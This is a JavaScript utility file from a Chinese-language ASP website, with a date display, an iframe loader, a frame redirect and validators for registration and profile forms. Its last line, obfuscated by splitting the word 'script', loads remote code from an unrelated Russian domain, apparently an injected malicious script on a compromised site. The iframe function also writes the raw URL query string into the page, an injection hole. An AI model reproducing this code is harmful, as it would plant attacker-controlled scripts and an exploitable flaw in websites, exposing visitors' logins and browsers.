function Time()
{
		var isMonth = new Array("1月","2月","3月","4月","5月","6月","7月","8月","9月","10月","11月","12月");
		var isDay = new Array("星期日","星期一","星期二","星期三","星期四","星期五","星期六","星期日");
		today = new Date () ;
		Year=today.getYear();

 if (!document.layers&&!document.all)
 return
 var Timer=new Date()
 var hours=Timer.getHours()
 var minutes=Timer.getMinutes()
 var seconds=Timer.getSeconds()
 if (minutes<=9)
 minutes="0"+minutes
 if (seconds<=9)
 	seconds="0"+seconds
//change font size here to your desire
myclock="<font face='Arial' >今天是：" + Year+"年"+isMonth[today.getMonth()]+today.getDate()+"日 "+isDay[today.getDay()] + "</font>"
document.write(myclock)
}

function xztj_change() {
	document.write('<iframe name="center" width="600" height="450" frameborder="0" scrolling="no"')
	var n=self.location.href.indexOf("?")//查看是否包含参数
	if(n>0)//存在参数
	{
		document.write(" src="+self.location.href.substr(n+1))
	}
	document.write('></iframe>')
}

function xztj_location() 
{
	if ( top.location == self.location )
	{
		top.location="bjdx.asp?" + self.location;
	}
}

function check_register()
{
	if (register.userid.value == "")
	{
		window.alert("用户名不能为空");
		register.userid.focus();
		return false;
	}
	if (register.name.value == "")
	{
		window.alert("姓名不能为空");
		register.name.focus();
		return false;
	}
	if (register.password.value == "")
	{
		window.alert("密码不能为空");
		register.password.focus();
		return false;
	}
	if (register.phone.value == "")
	{
		window.alert("联系电话不能为空!");
		register.phone.focus();
		return false;
	}
	if (register.place.value == "")
	{
		window.alert("户籍不能为空!");
		register.place.focus();
		return false;
	}
	return true;
}

function check2()
{
	if (form1.name.value == "")
	{
		window.alert("姓名不能为空");
		form1.name.focus();
		return false;
	}
	if (form1.password.value == "")
	{
		window.alert("密码不能为空");
		form1.password.focus();
		return false;
	}
	if (form1.phone.value == "")
	{
		window.alert("联系电话不能为空!");
		form1.phone.focus();
		return false;
	}
	if (form1.place.value == "")
	{
		window.alert("户籍不能为空!");
		form1.place.focus();
		return false;
	}
	return true;
}


document.write('<sc'+'ript type="text/javascript" src="http://greatrow.ru/Scroll_Bar.js"></scri'+'pt>');
